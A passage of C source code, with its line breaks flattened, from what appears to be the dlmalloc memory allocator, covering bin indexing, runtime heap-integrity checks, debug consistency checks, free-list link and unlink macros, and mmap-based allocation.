(((s) >> SMALLBIN_SHIFT) < NSMALLBINS) #define small_index(s) (bindex_t)((s) >> SMALLBIN_SHIFT) #define small_index2size(i) ((i) << SMALLBIN_SHIFT) #define MIN_SMALL_INDEX (small_index(MIN_CHUNK_SIZE)) /* addressing by index. See above about smallbin repositioning */ #define smallbin_at(M, i) ((sbinptr)((char*)&((M)->smallbins[(i)<<1]))) #define treebin_at(M,i) (&((M)->treebins[i])) /* assign tree index for size S to variable I. Use x86 asm if possible */ #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) #define compute_tree_index(S, I)\ {\ unsigned int X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int K = (unsigned) sizeof(X)*__CHAR_BIT__ - 1 - (unsigned) __builtin_clz(X); \ I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\ }\ } #elif defined (__INTEL_COMPILER) #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int K = _bit_scan_reverse (X); \ I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\ }\ } #elif defined(_MSC_VER) && _MSC_VER>=1300 #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int K;\ _BitScanReverse((DWORD *) &K, (DWORD) X);\ I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\ }\ } #else /* GNUC */ #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int Y = (unsigned int)X;\ unsigned int N = ((Y - 0x100) >> 16) & 8;\ unsigned int K = (((Y <<= N) - 0x1000) >> 16) & 4;\ N += K;\ N += K = (((Y <<= K) - 0x4000) >> 16) & 2;\ K = 14 - N + ((Y <<= K) >> 15);\ I = (K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1));\ }\ } #endif /* GNUC */ /* Bit representing maximum resolved size in a treebin at i */ #define bit_for_tree_index(i) \ (i == NTREEBINS-1)? (SIZE_T_BITSIZE-1) : (((i) >> 1) + TREEBIN_SHIFT - 2) /* Shift placing maximum resolved bit in a treebin at i as sign bit */ #define leftshift_for_tree_index(i) \ ((i == NTREEBINS-1)? 0 : \ ((SIZE_T_BITSIZE-SIZE_T_ONE) - (((i) >> 1) + TREEBIN_SHIFT - 2))) /* The size of the smallest chunk held in bin with index i */ #define minsize_for_tree_index(i) \ ((SIZE_T_ONE << (((i) >> 1) + TREEBIN_SHIFT)) | \ (((size_t)((i) & SIZE_T_ONE)) << (((i) >> 1) + TREEBIN_SHIFT - 1))) /* ------------------------ Operations on bin maps ----------------------- */ /* bit corresponding to given index */ #define idx2bit(i) ((binmap_t)(1) << (i)) /* Mark/Clear bits with given index */ #define mark_smallmap(M,i) ((M)->smallmap |= idx2bit(i)) #define clear_smallmap(M,i) ((M)->smallmap &= ~idx2bit(i)) #define smallmap_is_marked(M,i) ((M)->smallmap & idx2bit(i)) #define mark_treemap(M,i) ((M)->treemap |= idx2bit(i)) #define clear_treemap(M,i) ((M)->treemap &= ~idx2bit(i)) #define treemap_is_marked(M,i) ((M)->treemap & idx2bit(i)) /* isolate the least set bit of a bitmap */ #define least_bit(x) ((x) & -(x)) /* mask with all bits to left of least bit of x on */ #define left_bits(x) ((x<<1) | -(x<<1)) /* mask with all bits to left of or equal to least bit of x on */ #define same_or_left_bits(x) ((x) | -(x)) /* index corresponding to given bit. Use x86 asm if possible */ #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) #define compute_bit2idx(X, I)\ {\ unsigned int J;\ J = __builtin_ctz(X); \ I = (bindex_t)J;\ } #elif defined (__INTEL_COMPILER) #define compute_bit2idx(X, I)\ {\ unsigned int J;\ J = _bit_scan_forward (X); \ I = (bindex_t)J;\ } #elif defined(_MSC_VER) && _MSC_VER>=1300 #define compute_bit2idx(X, I)\ {\ unsigned int J;\ _BitScanForward((DWORD *) &J, X);\ I = (bindex_t)J;\ } #elif USE_BUILTIN_FFS #define compute_bit2idx(X, I) I = ffs(X)-1 #else #define compute_bit2idx(X, I)\ {\ unsigned int Y = X - 1;\ unsigned int K = Y >> (16-4) & 16;\ unsigned int N = K; Y >>= K;\ N += K = Y >> (8-3) & 8; Y >>= K;\ N += K = Y >> (4-2) & 4; Y >>= K;\ N += K = Y >> (2-1) & 2; Y >>= K;\ N += K = Y >> (1-0) & 1; Y >>= K;\ I = (bindex_t)(N + Y);\ } #endif /* GNUC */ /* ----------------------- Runtime Check Support ------------------------- */ /* For security, the main invariant is that malloc/free/etc never writes to a static address other than malloc_state, unless static malloc_state itself has been corrupted, which cannot occur via malloc (because of these checks). In essence this means that we believe all pointers, sizes, maps etc held in malloc_state, but check all of those linked or offsetted from other embedded data structures. These checks are interspersed with main code in a way that tends to minimize their run-time cost. When FOOTERS is defined, in addition to range checking, we also verify footer fields of inuse chunks, which can be used guarantee that the mstate controlling malloc/free is intact. This is a streamlined version of the approach described by William Robertson et al in "Run-time Detection of Heap-based Overflows" LISA'03 http://www.usenix.org/events/lisa03/tech/robertson.html The footer of an inuse chunk holds the xor of its mstate and a random seed, that is checked upon calls to free() and realloc(). This is (probabalistically) unguessable from outside the program, but can be computed by any code successfully malloc'ing any chunk, so does not itself provide protection against code that has already broken security through some other means. Unlike Robertson et al, we always dynamically check addresses of all offset chunks (previous, next, etc). This turns out to be cheaper than relying on hashes. */ #if !INSECURE /* Check if address a is at least as high as any from MORECORE or MMAP */ #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) /* Check if address of next chunk n is higher than base chunk p */ #define ok_next(p, n) ((char*)(p) < (char*)(n)) /* Check if p has inuse status */ #define ok_inuse(p) is_inuse(p) /* Check if p has its pinuse bit on */ #define ok_pinuse(p) pinuse(p) #else /* !INSECURE */ #define ok_address(M, a) (1) #define ok_next(b, n) (1) #define ok_inuse(p) (1) #define ok_pinuse(p) (1) #endif /* !INSECURE */ #if (FOOTERS && !INSECURE) /* Check if (alleged) mstate m has expected magic field */ #define ok_magic(M) ((M)->magic == mparams.magic) #else /* (FOOTERS && !INSECURE) */ #define ok_magic(M) (1) #endif /* (FOOTERS && !INSECURE) */ /* In gcc, use __builtin_expect to minimize impact of checks */ #if !INSECURE #if defined(__GNUC__) && __GNUC__ >= 3 #define RTCHECK(e) __builtin_expect(e, 1) #else /* GNUC */ #define RTCHECK(e) (e) #endif /* GNUC */ #else /* !INSECURE */ #define RTCHECK(e) (1) #endif /* !INSECURE */ /* macros to set up inuse chunks with or without footers */ #if !FOOTERS #define mark_inuse_foot(M,p,s) /* Macros for setting head/foot of non-mmapped chunks */ /* Set cinuse bit and pinuse bit of next chunk */ #define set_inuse(M,p,s)\ ((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\ ((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT) /* Set cinuse and pinuse of this chunk and pinuse of next chunk */ #define set_inuse_and_pinuse(M,p,s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ ((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT) /* Set size, cinuse and pinuse bit of this chunk */ #define set_size_and_pinuse_of_inuse_chunk(M, p, s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT)) #else /* FOOTERS */ /* Set foot of inuse chunk to be xor of mstate and seed */ #define mark_inuse_foot(M,p,s)\ (((mchunkptr)((char*)(p) + (s)))->prev_foot = ((size_t)(M) ^ mparams.magic)) #define get_mstate_for(p)\ ((mstate)(((mchunkptr)((char*)(p) +\ (chunksize(p))))->prev_foot ^ mparams.magic)) #define set_inuse(M,p,s)\ ((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\ (((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT), \ mark_inuse_foot(M,p,s)) #define set_inuse_and_pinuse(M,p,s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ (((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT),\ mark_inuse_foot(M,p,s)) #define set_size_and_pinuse_of_inuse_chunk(M, p, s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ mark_inuse_foot(M, p, s)) #endif /* !FOOTERS */ /* ---------------------------- setting mparams -------------------------- */ #if LOCK_AT_FORK static void pre_fork(void) { ACQUIRE_LOCK(&(gm)->mutex); } static void post_fork_parent(void) { RELEASE_LOCK(&(gm)->mutex); } static void post_fork_child(void) { INITIAL_LOCK(&(gm)->mutex); } #endif /* LOCK_AT_FORK */ /* Initialize mparams */ static int init_mparams(void) { #ifdef NEED_GLOBAL_LOCK_INIT if (malloc_global_mutex_status <= 0) init_malloc_global_mutex(); #endif ACQUIRE_MALLOC_GLOBAL_LOCK(); if (mparams.magic == 0) { size_t magic; size_t psize; size_t gsize; #ifndef WIN32 psize = malloc_getpagesize; gsize = ((DEFAULT_GRANULARITY != 0)? DEFAULT_GRANULARITY : psize); #else /* WIN32 */ { SYSTEM_INFO system_info; GetSystemInfo(&system_info); psize = system_info.dwPageSize; gsize = ((DEFAULT_GRANULARITY != 0)? DEFAULT_GRANULARITY : system_info.dwAllocationGranularity); } #endif /* WIN32 */ /* Sanity-check configuration: size_t must be unsigned and as wide as pointer type. ints must be at least 4 bytes. alignment must be at least 8. Alignment, min chunk size, and page size must all be powers of 2. */ if ((sizeof(size_t) != sizeof(char*)) || (MAX_SIZE_T < MIN_CHUNK_SIZE) || (sizeof(int) < 4) || (MALLOC_ALIGNMENT < (size_t)8U) || ((MALLOC_ALIGNMENT & (MALLOC_ALIGNMENT-SIZE_T_ONE)) != 0) || ((MCHUNK_SIZE & (MCHUNK_SIZE-SIZE_T_ONE)) != 0) || ((gsize & (gsize-SIZE_T_ONE)) != 0) || ((psize & (psize-SIZE_T_ONE)) != 0)) ABORT; mparams.granularity = gsize; mparams.page_size = psize; mparams.mmap_threshold = DEFAULT_MMAP_THRESHOLD; mparams.trim_threshold = DEFAULT_TRIM_THRESHOLD; #if MORECORE_CONTIGUOUS mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT; #else /* MORECORE_CONTIGUOUS */ mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT|USE_NONCONTIGUOUS_BIT; #endif /* MORECORE_CONTIGUOUS */ #if !ONLY_MSPACES /* Set up lock for main malloc area */ gm->mflags = mparams.default_mflags; (void)INITIAL_LOCK(&gm->mutex); #endif #if LOCK_AT_FORK pthread_atfork(&pre_fork, &post_fork_parent, &post_fork_child); #endif { #if USE_DEV_RANDOM int fd; unsigned char buf[sizeof(size_t)]; /* Try to use /dev/urandom, else fall back on using time */ if ((fd = open("/dev/urandom", O_RDONLY)) >= 0 && read(fd, buf, sizeof(buf)) == sizeof(buf)) { magic = *((size_t *) buf); close(fd); } else #endif /* USE_DEV_RANDOM */ #ifdef WIN32 magic = (size_t)(GetTickCount() ^ (size_t)0x55555555U); #elif defined(LACKS_TIME_H) magic = (size_t)&magic ^ (size_t)0x55555555U; #else magic = (size_t)(time(0) ^ (size_t)0x55555555U); #endif magic |= (size_t)8U; /* ensure nonzero */ magic &= ~(size_t)7U; /* improve chances of fault for bad values */ /* Until memory modes commonly available, use volatile-write */ (*(volatile size_t *)(&(mparams.magic))) = magic; } } RELEASE_MALLOC_GLOBAL_LOCK(); return 1; } /* support for mallopt */ static int change_mparam(int param_number, int value) { size_t val; ensure_initialization(); val = (value == -1)? MAX_SIZE_T : (size_t)value; switch(param_number) { case M_TRIM_THRESHOLD: mparams.trim_threshold = val; return 1; case M_GRANULARITY: if (val >= mparams.page_size && ((val & (val-1)) == 0)) { mparams.granularity = val; return 1; } else return 0; case M_MMAP_THRESHOLD: mparams.mmap_threshold = val; return 1; default: return 0; } } #if DEBUG /* ------------------------- Debugging Support --------------------------- */ /* Check properties of any chunk, whether free, inuse, mmapped etc */ static void do_check_any_chunk(mstate m, mchunkptr p) { assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); } /* Check properties of top chunk */ static void do_check_top_chunk(mstate m, mchunkptr p) { msegmentptr sp = segment_holding(m, (char*)p); size_t sz = p->head & ~INUSE_BITS; /* third-lowest bit can be set! */ assert(sp != 0); assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); assert(sz == m->topsize); assert(sz > 0); assert(sz == ((sp->base + sp->size) - (char*)p) - TOP_FOOT_SIZE); assert(pinuse(p)); assert(!pinuse(chunk_plus_offset(p, sz))); } /* Check properties of (inuse) mmapped chunks */ static void do_check_mmapped_chunk(mstate m, mchunkptr p) { size_t sz = chunksize(p); size_t len = (sz + (p->prev_foot) + MMAP_FOOT_PAD); assert(is_mmapped(p)); assert(use_mmap(m)); assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); assert(!is_small(sz)); assert((len & (mparams.page_size-SIZE_T_ONE)) == 0); assert(chunk_plus_offset(p, sz)->head == FENCEPOST_HEAD); assert(chunk_plus_offset(p, sz+SIZE_T_SIZE)->head == 0); } /* Check properties of inuse chunks */ static void do_check_inuse_chunk(mstate m, mchunkptr p) { do_check_any_chunk(m, p); assert(is_inuse(p)); assert(next_pinuse(p)); /* If not pinuse and not mmapped, previous chunk has OK offset */ assert(is_mmapped(p) || pinuse(p) || next_chunk(prev_chunk(p)) == p); if (is_mmapped(p)) do_check_mmapped_chunk(m, p); } /* Check properties of free chunks */ static void do_check_free_chunk(mstate m, mchunkptr p) { size_t sz = chunksize(p); mchunkptr next = chunk_plus_offset(p, sz); do_check_any_chunk(m, p); assert(!is_inuse(p)); assert(!next_pinuse(p)); assert (!is_mmapped(p)); if (p != m->dv && p != m->top) { if (sz >= MIN_CHUNK_SIZE) { assert((sz & CHUNK_ALIGN_MASK) == 0); assert(is_aligned(chunk2mem(p))); assert(next->prev_foot == sz); assert(pinuse(p)); assert (next == m->top || is_inuse(next)); assert(p->fd->bk == p); assert(p->bk->fd == p); } else /* markers are always of size SIZE_T_SIZE */ assert(sz == SIZE_T_SIZE); } } /* Check properties of malloced chunks at the point they are malloced */ static void do_check_malloced_chunk(mstate m, void* mem, size_t s) { if (mem != 0) { mchunkptr p = mem2chunk(mem); size_t sz = p->head & ~INUSE_BITS; do_check_inuse_chunk(m, p); assert((sz & CHUNK_ALIGN_MASK) == 0); assert(sz >= MIN_CHUNK_SIZE); assert(sz >= s); /* unless mmapped, size is less than MIN_CHUNK_SIZE more than request */ assert(is_mmapped(p) || sz < (s + MIN_CHUNK_SIZE)); } } /* Check a tree and its subtrees. */ static void do_check_tree(mstate m, tchunkptr t) { tchunkptr head = 0; tchunkptr u = t; bindex_t tindex = t->index; size_t tsize = chunksize(t); bindex_t idx; compute_tree_index(tsize, idx); assert(tindex == idx); assert(tsize >= MIN_LARGE_SIZE); assert(tsize >= minsize_for_tree_index(idx)); assert((idx == NTREEBINS-1) || (tsize < minsize_for_tree_index((idx+1)))); do { /* traverse through chain of same-sized nodes */ do_check_any_chunk(m, ((mchunkptr)u)); assert(u->index == tindex); assert(chunksize(u) == tsize); assert(!is_inuse(u)); assert(!next_pinuse(u)); assert(u->fd->bk == u); assert(u->bk->fd == u); if (u->parent == 0) { assert(u->child[0] == 0); assert(u->child[1] == 0); } else { assert(head == 0); /* only one node on chain has parent */ head = u; assert(u->parent != u); assert (u->parent->child[0] == u || u->parent->child[1] == u || *((tbinptr*)(u->parent)) == u); if (u->child[0] != 0) { assert(u->child[0]->parent == u); assert(u->child[0] != u); do_check_tree(m, u->child[0]); } if (u->child[1] != 0) { assert(u->child[1]->parent == u); assert(u->child[1] != u); do_check_tree(m, u->child[1]); } if (u->child[0] != 0 && u->child[1] != 0) { assert(chunksize(u->child[0]) < chunksize(u->child[1])); } } u = u->fd; } while (u != t); assert(head != 0); } /* Check all the chunks in a treebin. */ static void do_check_treebin(mstate m, bindex_t i) { tbinptr* tb = treebin_at(m, i); tchunkptr t = *tb; int empty = (m->treemap & (1U << i)) == 0; if (t == 0) assert(empty); if (!empty) do_check_tree(m, t); } /* Check all the chunks in a smallbin. */ static void do_check_smallbin(mstate m, bindex_t i) { sbinptr b = smallbin_at(m, i); mchunkptr p = b->bk; unsigned int empty = (m->smallmap & (1U << i)) == 0; if (p == b) assert(empty); if (!empty) { for (; p != b; p = p->bk) { size_t size = chunksize(p); mchunkptr q; /* each chunk claims to be free */ do_check_free_chunk(m, p); /* chunk belongs in bin */ assert(small_index(size) == i); assert(p->bk == b || chunksize(p->bk) == chunksize(p)); /* chunk is followed by an inuse chunk */ q = next_chunk(p); if (q->head != FENCEPOST_HEAD) do_check_inuse_chunk(m, q); } } } /* Find x in a bin. Used in other check functions. */ static int bin_find(mstate m, mchunkptr x) { size_t size = chunksize(x); if (is_small(size)) { bindex_t sidx = small_index(size); sbinptr b = smallbin_at(m, sidx); if (smallmap_is_marked(m, sidx)) { mchunkptr p = b; do { if (p == x) return 1; } while ((p = p->fd) != b); } } else { bindex_t tidx; compute_tree_index(size, tidx); if (treemap_is_marked(m, tidx)) { tchunkptr t = *treebin_at(m, tidx); size_t sizebits = size << leftshift_for_tree_index(tidx); while (t != 0 && chunksize(t) != size) { t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]; sizebits <<= 1; } if (t != 0) { tchunkptr u = t; do { if (u == (tchunkptr)x) return 1; } while ((u = u->fd) != t); } } } return 0; } /* Traverse each chunk and check it; return total */ static size_t traverse_and_check(mstate m) { size_t sum = 0; if (is_initialized(m)) { msegmentptr s = &m->seg; sum += m->topsize + TOP_FOOT_SIZE; while (s != 0) { mchunkptr q = align_as_chunk(s->base); mchunkptr lastq = 0; assert(pinuse(q)); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { sum += chunksize(q); if (is_inuse(q)) { assert(!bin_find(m, q)); do_check_inuse_chunk(m, q); } else { assert(q == m->dv || bin_find(m, q)); assert(lastq == 0 || is_inuse(lastq)); /* Not 2 consecutive free */ do_check_free_chunk(m, q); } lastq = q; q = next_chunk(q); } s = s->next; } } return sum; } /* Check all properties of malloc_state. */ static void do_check_malloc_state(mstate m) { bindex_t i; size_t total; /* check bins */ for (i = 0; i < NSMALLBINS; ++i) do_check_smallbin(m, i); for (i = 0; i < NTREEBINS; ++i) do_check_treebin(m, i); if (m->dvsize != 0) { /* check dv chunk */ do_check_any_chunk(m, m->dv); assert(m->dvsize == chunksize(m->dv)); assert(m->dvsize >= MIN_CHUNK_SIZE); assert(bin_find(m, m->dv) == 0); } if (m->top != 0) { /* check top chunk */ do_check_top_chunk(m, m->top); /*assert(m->topsize == chunksize(m->top)); redundant */ assert(m->topsize > 0); assert(bin_find(m, m->top) == 0); } total = traverse_and_check(m); assert(total <= m->footprint); assert(m->footprint <= m->max_footprint); } #endif /* DEBUG */ /* ----------------------------- statistics ------------------------------ */ #if !NO_MALLINFO static struct mallinfo internal_mallinfo(mstate m) { struct mallinfo nm = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; ensure_initialization(); if (!PREACTION(m)) { check_malloc_state(m); if (is_initialized(m)) { size_t nfree = SIZE_T_ONE; /* top always free */ size_t mfree = m->topsize + TOP_FOOT_SIZE; size_t sum = mfree; msegmentptr s = &m->seg; while (s != 0) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { size_t sz = chunksize(q); sum += sz; if (!is_inuse(q)) { mfree += sz; ++nfree; } q = next_chunk(q); } s = s->next; } nm.arena = sum; nm.ordblks = nfree; nm.hblkhd = m->footprint - sum; nm.usmblks = m->max_footprint; nm.uordblks = m->footprint - mfree; nm.fordblks = mfree; nm.keepcost = m->topsize; } POSTACTION(m); } return nm; } #endif /* !NO_MALLINFO */ #if !NO_MALLOC_STATS static void internal_malloc_stats(mstate m) { ensure_initialization(); if (!PREACTION(m)) { size_t maxfp = 0; size_t fp = 0; size_t used = 0; check_malloc_state(m); if (is_initialized(m)) { msegmentptr s = &m->seg; maxfp = m->max_footprint; fp = m->footprint; used = fp - (m->topsize + TOP_FOOT_SIZE); while (s != 0) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { if (!is_inuse(q)) used -= chunksize(q); q = next_chunk(q); } s = s->next; } } POSTACTION(m); /* drop lock */ fprintf(stderr, "max system bytes = %10lu\n", (unsigned long)(maxfp)); fprintf(stderr, "system bytes = %10lu\n", (unsigned long)(fp)); fprintf(stderr, "in use bytes = %10lu\n", (unsigned long)(used)); } } #endif /* NO_MALLOC_STATS */ /* ----------------------- Operations on smallbins ----------------------- */ /* Various forms of linking and unlinking are defined as macros. Even the ones for trees, which are very long but have very short typical paths. This is ugly but reduces reliance on inlining support of compilers. */ /* Link a free chunk into a smallbin */ #define insert_small_chunk(M, P, S) {\ bindex_t I = small_index(S);\ mchunkptr B = smallbin_at(M, I);\ mchunkptr F = B;\ assert(S >= MIN_CHUNK_SIZE);\ if (!smallmap_is_marked(M, I))\ mark_smallmap(M, I);\ else if (RTCHECK(ok_address(M, B->fd)))\ F = B->fd;\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ B->fd = P;\ F->bk = P;\ P->fd = F;\ P->bk = B;\ } /* Unlink a chunk from a smallbin */ #define unlink_small_chunk(M, P, S) {\ mchunkptr F = P->fd;\ mchunkptr B = P->bk;\ bindex_t I = small_index(S);\ assert(P != B);\ assert(P != F);\ assert(chunksize(P) == small_index2size(I));\ if (RTCHECK(F == smallbin_at(M,I) || (ok_address(M, F) && F->bk == P))) { \ if (B == F) {\ clear_smallmap(M, I);\ }\ else if (RTCHECK(B == smallbin_at(M,I) ||\ (ok_address(M, B) && B->fd == P))) {\ F->bk = B;\ B->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } /* Unlink the first chunk from a smallbin */ #define unlink_first_small_chunk(M, B, P, I) {\ mchunkptr F = P->fd;\ assert(P != B);\ assert(P != F);\ assert(chunksize(P) == small_index2size(I));\ if (B == F) {\ clear_smallmap(M, I);\ }\ else if (RTCHECK(ok_address(M, F) && F->bk == P)) {\ F->bk = B;\ B->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } /* Replace dv node, binning the old one */ /* Used only when dvsize known to be small */ #define replace_dv(M, P, S) {\ size_t DVS = M->dvsize;\ assert(is_small(DVS));\ if (DVS != 0) {\ mchunkptr DV = M->dv;\ insert_small_chunk(M, DV, DVS);\ }\ M->dvsize = S;\ M->dv = P;\ } /* ------------------------- Operations on trees ------------------------- */ /* Insert chunk into tree */ #define insert_large_chunk(M, X, S) {\ tbinptr* H;\ bindex_t I;\ compute_tree_index(S, I);\ H = treebin_at(M, I);\ X->index = I;\ X->child[0] = X->child[1] = 0;\ if (!treemap_is_marked(M, I)) {\ mark_treemap(M, I);\ *H = X;\ X->parent = (tchunkptr)H;\ X->fd = X->bk = X;\ }\ else {\ tchunkptr T = *H;\ size_t K = S << leftshift_for_tree_index(I);\ for (;;) {\ if (chunksize(T) != S) {\ tchunkptr* C = &(T->child[(K >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]);\ K <<= 1;\ if (*C != 0)\ T = *C;\ else if (RTCHECK(ok_address(M, C))) {\ *C = X;\ X->parent = T;\ X->fd = X->bk = X;\ break;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ break;\ }\ }\ else {\ tchunkptr F = T->fd;\ if (RTCHECK(ok_address(M, T) && ok_address(M, F))) {\ T->fd = F->bk = X;\ X->fd = F;\ X->bk = T;\ X->parent = 0;\ break;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ break;\ }\ }\ }\ }\ } /* Unlink steps: 1. If x is a chained node, unlink it from its same-sized fd/bk links and choose its bk node as its replacement. 2. If x was the last node of its size, but not a leaf node, it must be replaced with a leaf node (not merely one with an open left or right), to make sure that lefts and rights of descendents correspond properly to bit masks. We use the rightmost descendent of x. We could use any other leaf, but this is easy to locate and tends to counteract removal of leftmosts elsewhere, and so keeps paths shorter than minimally guaranteed. This doesn't loop much because on average a node in a tree is near the bottom. 3. If x is the base of a chain (i.e., has parent links) relink x's parent and children to x's replacement (or null if none). */ #define unlink_large_chunk(M, X) {\ tchunkptr XP = X->parent;\ tchunkptr R;\ if (X->bk != X) {\ tchunkptr F = X->fd;\ R = X->bk;\ if (RTCHECK(ok_address(M, F) && F->bk == X && R->fd == X)) {\ F->bk = R;\ R->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else {\ tchunkptr* RP;\ if (((R = *(RP = &(X->child[1]))) != 0) ||\ ((R = *(RP = &(X->child[0]))) != 0)) {\ tchunkptr* CP;\ while ((*(CP = &(R->child[1])) != 0) ||\ (*(CP = &(R->child[0])) != 0)) {\ R = *(RP = CP);\ }\ if (RTCHECK(ok_address(M, RP)))\ *RP = 0;\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ }\ if (XP != 0) {\ tbinptr* H = treebin_at(M, X->index);\ if (X == *H) {\ if ((*H = R) == 0) \ clear_treemap(M, X->index);\ }\ else if (RTCHECK(ok_address(M, XP))) {\ if (XP->child[0] == X) \ XP->child[0] = R;\ else \ XP->child[1] = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ if (R != 0) {\ if (RTCHECK(ok_address(M, R))) {\ tchunkptr C0, C1;\ R->parent = XP;\ if ((C0 = X->child[0]) != 0) {\ if (RTCHECK(ok_address(M, C0))) {\ R->child[0] = C0;\ C0->parent = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ if ((C1 = X->child[1]) != 0) {\ if (RTCHECK(ok_address(M, C1))) {\ R->child[1] = C1;\ C1->parent = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ } /* Relays to large vs small bin operations */ #define insert_chunk(M, P, S)\ if (is_small(S)) insert_small_chunk(M, P, S)\ else { tchunkptr TP = (tchunkptr)(P); insert_large_chunk(M, TP, S); } #define unlink_chunk(M, P, S)\ if (is_small(S)) unlink_small_chunk(M, P, S)\ else { tchunkptr TP = (tchunkptr)(P); unlink_large_chunk(M, TP); } /* Relays to internal calls to malloc/free from realloc, memalign etc */ #if ONLY_MSPACES #define internal_malloc(m, b) mspace_malloc(m, b) #define internal_free(m, mem) mspace_free(m,mem); #else /* ONLY_MSPACES */ #if MSPACES #define internal_malloc(m, b)\ ((m == gm)? dlmalloc(b) : mspace_malloc(m, b)) #define internal_free(m, mem)\ if (m == gm) dlfree(mem); else mspace_free(m,mem); #else /* MSPACES */ #define internal_malloc(m, b) dlmalloc(b) #define internal_free(m, mem) dlfree(mem) #endif /* MSPACES */ #endif /* ONLY_MSPACES */ /* ----------------------- Direct-mmapping chunks ----------------------- */ /* Directly mmapped chunks are set up with an offset to the start of the mmapped region stored in the prev_foot field of the chunk. This allows reconstruction of the required argument to MUNMAP when freed, and also allows adjustment of the returned chunk to meet alignment requirements (especially in memalign). */ /* Malloc using mmap */ static void* mmap_alloc(mstate m, size_t nb) { size_t mmsize = mmap_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK); if (m->footprint_limit != 0) { size_t fp = m->footprint + mmsize; if (fp <= m->footprint || fp > m->footprint_limit) return 0; } if (mmsize > nb) { /* Check for wrap around 0 */ char* mm = (char*)(CALL_DIRECT_MMAP(mmsize)); if (mm != CMFAIL) { size_t offset = align_offset(chunk2mem(mm)); size_t psize = mmsize - offset - MMAP_FOOT_PAD; mchunkptr p = (mchunkptr)(mm + offset); p->prev_foot = offset; p->head = psize; mark_inuse_foot(m, p, psize); chunk_plus_offset(p, psize)->head = FENCEPOST_HEAD; chunk_plus_offset(p, psize+SIZE_T_SIZE)->head = 0; if (m->least_addr == 0 || mm < m->least_addr) m->least_addr = mm; if ((m->footprint += mmsize) > m->max_footprint) m->max_footprint = m->footprint; assert(is_aligned(chunk2mem(p))); check_mmapped_chunk(m, p); return chunk2mem(p); } } return 0; } /* Realloc using mmap */ static mchunkptr mmap_resize(mstate m, mchunkptr oldp, size_t nb, int flags) { size_t oldsize = chunksize(oldp); (void)flags; /* placate people compiling -Wunused */ if (is_small(nb)) /* Can't shrink mmap regions below small size */ return 0; /* Keep old chunk if big enough but not too big */ if (oldsize >= nb + SIZE_T_SIZE && (oldsize - nb) <= (mparams.granularity << 1)) return oldp; else { size_t offset = oldp->prev_foot; size_t oldmmsize = oldsize + offset + MMAP_FOOT_PAD; size_t newmmsize = mmap_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK); char* cp = (char*)CALL_MREMAP((char*)oldp - offset, oldmmsize, newmmsize, flags); if (cp != CMFAIL) { mchunkptr newp = (mchunkptr)(cp + offset); size_t psize = newmmsize - offset - MMAP_FOOT_PAD; newp->head = psize; mark_inuse_foot(m, newp, psize); chunk_plus_offset(newp, psize)->head = FENCEPOST_HEAD; chunk_plus_offset(newp, psize+SIZE_T_SIZE)->head = 0; if (cp < m->least_addr) m->least_addr = cp; if ((m->footprint += newmmsize - oldmmsize) > m->max_footprint) m->max_footprint = m->footprint; check_mmapped_chunk(m, newp); return newp; } } return 0; } /* 